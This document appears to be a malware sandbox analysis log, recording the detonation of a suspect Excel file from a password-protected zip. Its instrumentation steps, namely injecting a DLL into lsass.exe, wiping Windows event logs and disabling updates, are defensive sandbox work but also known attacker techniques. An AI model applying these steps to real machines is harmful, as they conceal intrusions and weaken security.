| Category | Package | Started | Completed | Duration | Options | Log(s) | MalScore |
|---|---|---|---|---|---|---|---|
| FILE | 2025-12-08 16:39:02 | 2025-12-08 16:43:09 | 247 seconds | Show Options | Show Analysis Log | 10.0 |
vnc_port=5901
2025-12-06 19:18:15,616 [root] INFO: Date set to: 20251208T08:31:54, timeout set to: 180
2025-12-08 08:31:54,068 [root] DEBUG: Starting analyzer from: C:\tmp65phiig4
2025-12-08 08:31:54,068 [root] DEBUG: Storing results at: C:\XfyAxDRBKY
2025-12-08 08:31:54,068 [root] DEBUG: Pipe server name: \\.\PIPE\AimuLGpBPe
2025-12-08 08:31:54,068 [root] DEBUG: Python path: C:\Python38
2025-12-08 08:31:54,068 [root] INFO: analysis running as an admin
2025-12-08 08:31:54,068 [root] DEBUG: no analysis package configured, picking one for you
2025-12-08 08:31:54,068 [root] INFO: analysis package selected: "zip"
2025-12-08 08:31:54,068 [root] DEBUG: importing analysis package module: "modules.packages.zip"...
2025-12-08 08:31:54,100 [root] DEBUG: imported analysis package "zip"
2025-12-08 08:31:54,100 [root] DEBUG: initializing analysis package "zip"...
2025-12-08 08:31:54,100 [lib.common.common] INFO: wrapping
2025-12-08 08:31:54,100 [lib.core.compound] INFO: C:\Users\user\AppData\Local\Temp already exists, skipping creation
2025-12-08 08:31:54,100 [root] DEBUG: New location of moved file: C:\Users\user\AppData\Local\Temp\32e843c35f0b39a4ff9d.zip
2025-12-08 08:31:54,100 [root] INFO: Analyzer: Package modules.packages.zip does not specify a DLL option
2025-12-08 08:31:54,100 [root] INFO: Analyzer: Package modules.packages.zip does not specify a DLL_64 option
2025-12-08 08:31:54,100 [root] INFO: Analyzer: Package modules.packages.zip does not specify a loader option
2025-12-08 08:31:54,100 [root] INFO: Analyzer: Package modules.packages.zip does not specify a loader_64 option
2025-12-08 08:31:54,194 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser"
2025-12-08 08:31:54,194 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain"
2025-12-08 08:31:54,194 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise"
2025-12-08 08:31:54,194 [root] DEBUG: Imported auxiliary module "modules.auxiliary.during_script"
2025-12-08 08:31:54,194 [root] DEBUG: Imported auxiliary module "modules.auxiliary.end_noisy_tasks"
2025-12-08 08:31:54,209 [root] DEBUG: Imported auxiliary module "modules.auxiliary.evtx"
2025-12-08 08:31:54,209 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human"
2025-12-08 08:31:54,225 [root] DEBUG: Imported auxiliary module "modules.auxiliary.pre_script"
2025-12-08 08:31:54,241 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2025-12-08 08:31:54,241 [lib.api.screenshot] ERROR: No module named 'PIL'
2025-12-08 08:31:54,241 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots"
2025-12-08 08:31:54,241 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon"
2025-12-08 08:31:54,241 [root] DEBUG: Imported auxiliary module "modules.auxiliary.tlsdump"
2025-12-08 08:31:54,256 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage"
2025-12-08 08:31:54,256 [root] DEBUG: Initialized auxiliary module "Browser"
2025-12-08 08:31:54,256 [root] DEBUG: attempting to configure 'Browser' from data
2025-12-08 08:31:54,256 [root] DEBUG: module Browser does not support data configuration, ignoring
2025-12-08 08:31:54,256 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.browser"...
2025-12-08 08:31:54,256 [root] DEBUG: Started auxiliary module modules.auxiliary.browser
2025-12-08 08:31:54,256 [root] DEBUG: Initialized auxiliary module "Curtain"
2025-12-08 08:31:54,256 [root] DEBUG: attempting to configure 'Curtain' from data
2025-12-08 08:31:54,256 [root] DEBUG: module Curtain does not support data configuration, ignoring
2025-12-08 08:31:54,256 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.curtain"...
2025-12-08 08:31:54,256 [root] DEBUG: Started auxiliary module modules.auxiliary.curtain
2025-12-08 08:31:54,256 [root] DEBUG: Initialized auxiliary module "Disguise"
2025-12-08 08:31:54,256 [root] DEBUG: attempting to configure 'Disguise' from data
2025-12-08 08:31:54,256 [root] DEBUG: module Disguise does not support data configuration, ignoring
2025-12-08 08:31:54,256 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.disguise"...
2025-12-08 08:31:54,271 [modules.auxiliary.disguise] INFO: Disguising GUID to 8e8c401b-13c4-4df4-899f-10e9c788238f
2025-12-08 08:31:54,271 [root] DEBUG: Started auxiliary module modules.auxiliary.disguise
2025-12-08 08:31:54,271 [root] DEBUG: Initialized auxiliary module "End_noisy_tasks"
2025-12-08 08:31:54,271 [root] DEBUG: attempting to configure 'End_noisy_tasks' from data
2025-12-08 08:31:54,271 [root] DEBUG: module End_noisy_tasks does not support data configuration, ignoring
2025-12-08 08:31:54,271 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.end_noisy_tasks"...
2025-12-08 08:31:54,271 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM wuauclt.exe
2025-12-08 08:31:54,271 [root] DEBUG: Started auxiliary module modules.auxiliary.end_noisy_tasks
2025-12-08 08:31:54,271 [root] DEBUG: Initialized auxiliary module "Evtx"
2025-12-08 08:31:54,271 [root] DEBUG: attempting to configure 'Evtx' from data
2025-12-08 08:31:54,271 [root] DEBUG: module Evtx does not support data configuration, ignoring
2025-12-08 08:31:54,271 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.evtx"...
2025-12-08 08:31:54,287 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security State Change" /success:enable /failure:enable
2025-12-08 08:31:54,287 [root] DEBUG: Started auxiliary module modules.auxiliary.evtx
2025-12-08 08:31:54,287 [root] DEBUG: Initialized auxiliary module "Human"
2025-12-08 08:31:54,287 [root] DEBUG: attempting to configure 'Human' from data
2025-12-08 08:31:54,287 [root] DEBUG: module Human does not support data configuration, ignoring
2025-12-08 08:31:54,287 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.human"...
2025-12-08 08:31:54,287 [root] DEBUG: Started auxiliary module modules.auxiliary.human
2025-12-08 08:31:54,287 [root] DEBUG: Initialized auxiliary module "Pre_script"
2025-12-08 08:31:54,287 [root] DEBUG: attempting to configure 'Pre_script' from data
2025-12-08 08:31:54,287 [root] DEBUG: module Pre_script does not support data configuration, ignoring
2025-12-08 08:31:54,287 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.pre_script"...
2025-12-08 08:31:54,287 [root] DEBUG: Started auxiliary module modules.auxiliary.pre_script
2025-12-08 08:31:54,287 [root] DEBUG: Initialized auxiliary module "Screenshots"
2025-12-08 08:31:54,287 [root] DEBUG: attempting to configure 'Screenshots' from data
2025-12-08 08:31:54,287 [root] DEBUG: module Screenshots does not support data configuration, ignoring
2025-12-08 08:31:54,287 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.screenshots"...
2025-12-08 08:31:54,303 [modules.auxiliary.screenshots] WARNING: Python Image Library is not installed, screenshots are disabled
2025-12-08 08:31:54,303 [root] DEBUG: Started auxiliary module modules.auxiliary.screenshots
2025-12-08 08:31:54,303 [root] DEBUG: Initialized auxiliary module "Sysmon"
2025-12-08 08:31:54,303 [root] DEBUG: attempting to configure 'Sysmon' from data
2025-12-08 08:31:54,303 [root] DEBUG: module Sysmon does not support data configuration, ignoring
2025-12-08 08:31:54,303 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.sysmon"...
2025-12-08 08:31:54,459 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable
2025-12-08 08:31:54,521 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable
2025-12-08 08:31:54,616 [root] WARNING: Cannot execute auxiliary module modules.auxiliary.sysmon: In order to use the Sysmon functionality, it is required to have the SMaster(64|32).exe file and sysmonconfig-export.xml file in the bin path. Note that the SMaster(64|32).exe files are just the standard Sysmon binaries renamed to avoid anti-analysis detection techniques.
2025-12-08 08:31:54,616 [root] DEBUG: Initialized auxiliary module "TLSDumpMasterSecrets"
2025-12-08 08:31:54,616 [root] DEBUG: attempting to configure 'TLSDumpMasterSecrets' from data
2025-12-08 08:31:54,616 [root] DEBUG: module TLSDumpMasterSecrets does not support data configuration, ignoring
2025-12-08 08:31:54,616 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.tlsdump"...
2025-12-08 08:31:54,616 [modules.auxiliary.tlsdump] INFO: lsass.exe found, pid 716
2025-12-08 08:31:54,616 [lib.api.process] INFO: Monitor config for <Process 716 lsass.exe>: C:\tmp65phiig4\dll\716.ini
2025-12-08 08:31:54,616 [lib.api.process] INFO: Option 'tlsdump' with value '1' sent to monitor
2025-12-08 08:31:54,616 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Driver" /success:disable /failure:disable
2025-12-08 08:31:54,616 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:31:54,725 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other System Events" /success:disable /failure:enable
2025-12-08 08:31:54,771 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Logon" /success:enable /failure:enable
2025-12-08 08:31:54,787 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM wusa.exe
2025-12-08 08:31:54,819 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Logoff" /success:enable /failure:enable
2025-12-08 08:31:54,866 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Account Lockout" /success:enable /failure:enable
2025-12-08 08:31:54,881 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM WindowsUpdate.exe
2025-12-08 08:31:54,928 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Main Mode" /success:disable /failure:disable
2025-12-08 08:31:54,959 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM GoogleUpdate.exe
2025-12-08 08:31:54,975 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Quick Mode" /success:disable /failure:disable
2025-12-08 08:31:55,022 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Extended Mode" /success:disable /failure:disable
2025-12-08 08:31:55,037 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM MicrosoftEdgeUpdate.exe
2025-12-08 08:31:55,069 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Logon/Logoff Events" /success:enable /failure:enable
2025-12-08 08:31:55,100 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Network Policy Server" /success:enable /failure:enable
2025-12-08 08:31:55,147 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Special Logon" /success:enable /failure:enable
2025-12-08 08:31:55,162 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 0: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
2025-12-08 08:31:55,194 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"File System" /success:enable /failure:enable
2025-12-08 08:31:55,194 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 0: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
2025-12-08 08:31:55,225 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Registry" /success:enable /failure:enable
2025-12-08 08:31:55,241 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 0: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v EnableICMPRedirect /t REG_DWORD /d 0 /f
2025-12-08 08:31:55,256 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable
2025-12-08 08:31:55,334 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"SAM" /success:disable /failure:disable
2025-12-08 08:31:55,381 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
2025-12-08 08:31:55,428 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Handle Manipulation" /success:disable /failure:disable
2025-12-08 08:31:55,506 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Application Generated" /success:enable /failure:enable
2025-12-08 08:31:55,537 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"File Share" /success:enable /failure:enable
2025-12-08 08:31:55,584 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Packet Drop" /success:disable /failure:disable
2025-12-08 08:31:55,616 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Connection" /success:disable /failure:disable
2025-12-08 08:31:55,662 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Object Access Events" /success:disable /failure:disable
2025-12-08 08:31:55,694 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Sensitive Privilege Use" /success:disable /failure:disable
2025-12-08 08:31:55,741 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Non Sensitive Privilege Use" /success:disable /failure:disable
2025-12-08 08:31:55,772 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Privilege Use Events" /success:disable /failure:disable
2025-12-08 08:31:55,803 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"RPC Events" /success:enable /failure:enable
2025-12-08 08:31:55,850 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
2025-12-08 08:31:55,896 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Authentication Policy Change" /success:enable /failure:enable
2025-12-08 08:31:55,928 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"MPSSVC Rule-Level Policy Change" /success:disable /failure:disable
2025-12-08 08:31:55,959 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Policy Change" /success:disable /failure:disable
2025-12-08 08:31:55,991 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Policy Change Events" /success:disable /failure:enable
2025-12-08 08:31:56,021 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
2025-12-08 08:31:56,069 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Computer Account Management" /success:enable /failure:enable
2025-12-08 08:31:56,084 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
2025-12-08 08:31:56,116 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Distribution Group Management" /success:enable /failure:enable
2025-12-08 08:31:56,146 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Application Group Management" /success:enable /failure:enable
2025-12-08 08:31:56,194 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Account Management Events" /success:enable /failure:enable
2025-12-08 08:31:56,209 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
2025-12-08 08:31:56,241 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
2025-12-08 08:31:56,272 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Replication" /success:disable /failure:enable
2025-12-08 08:31:56,303 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Detailed Directory Service Replication" /success:disable /failure:disable
2025-12-08 08:31:56,334 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
2025-12-08 08:31:56,366 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
2025-12-08 08:31:56,396 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Account Logon Events" /success:enable /failure:enable
2025-12-08 08:31:56,428 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
2025-12-08 08:31:56,444 [modules.auxiliary.evtx] DEBUG: Wiping Application
2025-12-08 08:31:56,475 [modules.auxiliary.evtx] DEBUG: Wiping HardwareEvents
2025-12-08 08:31:56,506 [modules.auxiliary.evtx] DEBUG: Wiping Internet Explorer
2025-12-08 08:31:56,537 [modules.auxiliary.evtx] DEBUG: Wiping Key Management Service
2025-12-08 08:31:56,553 [modules.auxiliary.evtx] DEBUG: Wiping OAlerts
2025-12-08 08:31:56,584 [modules.auxiliary.evtx] DEBUG: Wiping Security
2025-12-08 08:31:56,616 [modules.auxiliary.evtx] DEBUG: Wiping Setup
2025-12-08 08:31:56,646 [modules.auxiliary.evtx] DEBUG: Wiping System
2025-12-08 08:31:56,662 [modules.auxiliary.evtx] DEBUG: Wiping Windows PowerShell
2025-12-08 08:31:56,694 [modules.auxiliary.evtx] DEBUG: Wiping Microsoft-Windows-Sysmon/Operational
2025-12-08 08:32:18,657 [root] DEBUG: Loader: Injecting process 716 with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:32:42,671 [root] DEBUG: 716: Python path set to 'C:\Python38'.
2025-12-08 08:32:42,686 [root] INFO: Disabling sleep skipping.
2025-12-08 08:32:42,686 [root] DEBUG: 716: TLS secret dump mode enabled.
2025-12-08 08:32:42,686 [root] DEBUG: 716: GetAddressByYara: ModuleBase 0x00007FFCDC350000 FunctionName RtlInsertInvertedFunctionTable
2025-12-08 08:32:42,686 [root] DEBUG: 716: RtlInsertInvertedFunctionTable 0x00007FFCDC37BBFA, LdrpInvertedFunctionTableSRWLock 0x00007FFCDC4D70F0
2025-12-08 08:32:42,686 [root] DEBUG: 716: Monitor initialised: 64-bit capemon loaded in process 716 at 0x00007FFCAE780000, thread 1916, image base 0x00007FF6BC8A0000, stack from 0x0000001E0C174000-0x0000001E0C180000
2025-12-08 08:32:42,686 [root] DEBUG: 716: Commandline: C:\Windows\system32\lsass.exe
2025-12-08 08:32:42,686 [root] DEBUG: 716: Hooked 5 out of 5 functions
2025-12-08 08:32:42,686 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-08 08:32:42,686 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:32:42,702 [lib.api.process] INFO: Injected into 64-bit <Process 716 lsass.exe>
2025-12-08 08:32:42,702 [root] DEBUG: Started auxiliary module modules.auxiliary.tlsdump
2025-12-08 08:32:42,702 [root] DEBUG: Initialized auxiliary module "Usage"
2025-12-08 08:32:42,702 [root] DEBUG: attempting to configure 'Usage' from data
2025-12-08 08:32:42,702 [root] DEBUG: module Usage does not support data configuration, ignoring
2025-12-08 08:32:42,702 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.usage"...
2025-12-08 08:32:42,702 [root] DEBUG: Started auxiliary module modules.auxiliary.usage
2025-12-08 08:32:42,702 [root] DEBUG: Initialized auxiliary module "During_script"
2025-12-08 08:32:42,702 [root] DEBUG: attempting to configure 'During_script' from data
2025-12-08 08:32:42,702 [root] DEBUG: module During_script does not support data configuration, ignoring
2025-12-08 08:32:42,702 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.during_script"...
2025-12-08 08:32:42,702 [root] DEBUG: Started auxiliary module modules.auxiliary.during_script
2025-12-08 08:32:45,327 [root] INFO: Restarting WMI Service
2025-12-08 08:32:47,389 [root] DEBUG: package modules.packages.zip does not support configure, ignoring
2025-12-08 08:32:47,389 [root] WARNING: configuration error for package modules.packages.zip: error importing data.packages.zip: No module named 'data.packages'
2025-12-08 08:32:47,389 [lib.common.zip_utils] DEBUG: Archive is encrypted, using default password value: infected
2025-12-08 08:32:47,389 [lib.common.zip_utils] DEBUG: ['C:\\Program Files\\7-Zip\\7z.exe', 'l', 'C:\\Users\\user\\AppData\\Local\\Temp\\32e843c35f0b39a4ff9d.zip']
2025-12-08 08:33:36,014 [lib.common.zip_utils] DEBUG: ['C:\\Program Files\\7-Zip\\7z.exe', 'x', '-p', '-y', '-oC:\\Users\\user\\AppData\\Local\\Temp', 'C:\\Users\\user\\AppData\\Local\\Temp\\32e843c35f0b39a4ff9d.zip']
2025-12-08 08:33:36,359 [lib.common.zip_utils] DEBUG: b'\r\n7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20\r\n\r\nScanning the drive for archives:\r\n1 file, 100322 bytes (98 KiB)\r\n\r\nExtracting archive: C:\\Users\\user\\AppData\\Local\\Temp\\32e843c35f0b39a4ff9d.zip\r\n--\r\nPath = C:\\Users\\user\\AppData\\Local\\Temp\\32e843c35f0b39a4ff9d.zip\r\nType = zip\r\nPhysical Size = 100322\r\n\r\n\r\nSub items Errors: 1\r\n\r\nArchives with Errors: 1\r\n\r\nSub items Errors: 1\r\n' b'ERROR: Wrong password : 32e843c35f0b39a4ff9d669a80da88322cdd4206caa24710e7fbe60db710597f.xls\r\n'
2025-12-08 08:33:36,359 [lib.common.zip_utils] DEBUG: ['C:\\Program Files\\7-Zip\\7z.exe', 'x', '-pinfected', '-y', '-oC:\\Users\\user\\AppData\\Local\\Temp', 'C:\\Users\\user\\AppData\\Local\\Temp\\32e843c35f0b39a4ff9d.zip']
2025-12-08 08:33:36,641 [lib.common.zip_utils] DEBUG: b'\r\n7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20\r\n\r\nScanning the drive for archives:\r\n1 file, 100322 bytes (98 KiB)\r\n\r\nExtracting archive: C:\\Users\\user\\AppData\\Local\\Temp\\32e843c35f0b39a4ff9d.zip\r\n--\r\nPath = C:\\Users\\user\\AppData\\Local\\Temp\\32e843c35f0b39a4ff9d.zip\r\nType = zip\r\nPhysical Size = 100322\r\n\r\nEverything is Ok\r\n\r\nSize: 144403\r\nCompressed: 100322\r\n' b''
2025-12-08 08:33:36,641 [lib.common.zip_utils] INFO: Uploading C:\Users\user\AppData\Local\Temp\32e843c35f0b39a4ff9d669a80da88322cdd4206caa24710e7fbe60db710597f.xls to host
2025-12-08 08:33:36,641 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\32e843c35f0b39a4ff9d669a80da88322cdd4206caa24710e7fbe60db710597f.xls to files/32e843c35f0b39a4ff9d669a80da88322cdd4206caa24710e7fbe60db710597f; Size is 144403; Max size: 100000000
2025-12-08 08:33:36,641 [modules.packages.zip] DEBUG: Missing file option, auto executing: ['32e843c35f0b39a4ff9d669a80da88322cdd4206caa24710e7fbe60db710597f.xls']
2025-12-08 08:33:36,641 [lib.core.compound] INFO: C:\Users\user\AppData\Local\Temp already exists, skipping creation
2025-12-08 08:33:36,860 [lib.api.process] INFO: Successfully executed process from path "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" with arguments ""C:\Users\user\AppData\Local\Temp\32e843c35f0b39a4ff9d669a80da88322cdd4206caa24710e7fbe60db710597f.xls" /q" with pid 6768
2025-12-08 08:33:36,860 [lib.api.process] INFO: Monitor config for <Process 6768 EXCEL.EXE>: C:\tmp65phiig4\dll\6768.ini
2025-12-08 08:33:36,860 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp65phiig4\dll\hcwYgGY.dll, loader C:\tmp65phiig4\bin\cyHVgjr.exe
2025-12-08 08:34:00,920 [root] DEBUG: Loader: Injecting process 6768 (thread 5144) with C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:34:00,920 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:34:00,920 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\hcwYgGY.dll.
2025-12-08 08:34:00,920 [lib.api.process] INFO: Injected into 32-bit <Process 6768 EXCEL.EXE>
2025-12-08 08:34:02,936 [lib.api.process] INFO: Successfully resumed <Process 6768 EXCEL.EXE>
2025-12-08 08:34:27,103 [root] DEBUG: 6768: Python path set to 'C:\Python38'.
2025-12-08 08:34:27,103 [root] INFO: Disabling sleep skipping.
2025-12-08 08:34:27,103 [root] DEBUG: 6768: Dropped file limit defaulting to 100.
2025-12-08 08:34:27,134 [root] DEBUG: 6768: Microsoft Office settings enabled.
2025-12-08 08:34:27,150 [root] DEBUG: 6768: AmsiDumper initialised.
2025-12-08 08:34:27,150 [root] DEBUG: 6768: Monitor initialised: 32-bit capemon loaded in process 6768 at 0x749a0000, thread 5144, image base 0x8b0000, stack from 0x3cf5000-0x3d00000
2025-12-08 08:34:27,150 [root] DEBUG: 6768: Commandline: "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" "C:\Users\user\AppData\Local\Temp\32e843c35f0b39a4ff9d669a80da88322cdd4206caa24710e7fbe60db710597f.xls" /q
2025-12-08 08:34:27,150 [root] DEBUG: 6768: hook_api: Warning - CoCreateInstance export address 0x75730FEB differs from GetProcAddress -> 0x75F0FF70 (combase.dll::0xdff70)
2025-12-08 08:34:27,150 [root] DEBUG: 6768: hook_api: Warning - CoCreateInstanceEx export address 0x7573102A differs from GetProcAddress -> 0x75F5CCF0 (combase.dll::0x12ccf0)
2025-12-08 08:34:27,150 [root] DEBUG: 6768: hook_api: Warning - CoGetClassObject export address 0x757315BA differs from GetProcAddress -> 0x75ED2BD0 (combase.dll::0xa2bd0)
2025-12-08 08:34:27,150 [root] DEBUG: 6768: hook_api: Warning - CreateRemoteThreadEx export address 0x76289A4C differs from GetProcAddress -> 0x76AEDDB0 (KERNELBASE.dll::0x11ddb0)
2025-12-08 08:34:27,150 [root] DEBUG: 6768: hook_api: Warning - CLSIDFromProgID export address 0x75730824 differs from GetProcAddress -> 0x75EA54C0 (combase.dll::0x754c0)
2025-12-08 08:34:27,150 [root] DEBUG: 6768: hook_api: Warning - CLSIDFromProgIDEx export address 0x75730861 differs from GetProcAddress -> 0x75E9FF40 (combase.dll::0x6ff40)
2025-12-08 08:34:27,165 [root] DEBUG: 6768: Hooked 434 out of 434 functions
2025-12-08 08:34:27,165 [root] DEBUG: 6768: Syscall hook installed, syscall logging level 1
2025-12-08 08:34:27,165 [root] DEBUG: 6768: WoW64fix: Windows version 10.0 not supported.
2025-12-08 08:34:27,165 [root] INFO: Loaded monitor into process with pid 6768
2025-12-08 08:34:27,197 [root] DEBUG: 6768: DLL loaded at 0x758D0000: C:\Windows\System32\oleaut32 (0x9c000 bytes).
2025-12-08 08:34:27,228 [root] DEBUG: 6768: DLL loaded at 0x73DA0000: C:\Windows\SYSTEM32\CRYPTUI (0x49000 bytes).
2025-12-08 08:34:27,243 [root] DEBUG: 6768: DLL loaded at 0x750C0000: C:\Windows\SYSTEM32\IPHLPAPI (0x24000 bytes).
2025-12-08 08:34:27,243 [root] DEBUG: 6768: DLL loaded at 0x72340000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso20win32client (0x6db000 bytes).
2025-12-08 08:34:27,290 [root] DEBUG: 6768: DLL loaded at 0x73D50000: C:\Windows\SYSTEM32\wevtapi (0x45000 bytes).
2025-12-08 08:34:27,290 [root] DEBUG: 6768: DLL loaded at 0x71840000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso30win32client (0xaf4000 bytes).
2025-12-08 08:34:27,353 [root] DEBUG: 6768: DLL loaded at 0x73BE0000: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.22621.2506_none_9fa484a5e29783d4\gdiplus (0x16d000 bytes).
2025-12-08 08:34:27,353 [root] DEBUG: 6768: DLL loaded at 0x6FFF0000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso40uiwin32client (0xd14000 bytes).
2025-12-08 08:34:27,369 [root] DEBUG: 6768: DLL loaded at 0x73AF0000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso50win32client (0xea000 bytes).
2025-12-08 08:34:27,447 [root] DEBUG: 6768: DLL loaded at 0x747C0000: C:\Windows\SYSTEM32\HTTPAPI (0xf000 bytes).
2025-12-08 08:34:27,447 [root] DEBUG: 6768: DLL loaded at 0x73A20000: C:\Windows\SYSTEM32\PROPSYS (0xc7000 bytes).
2025-12-08 08:34:27,447 [root] DEBUG: 6768: DLL loaded at 0x747B0000: C:\Windows\SYSTEM32\WTSAPI32 (0xf000 bytes).
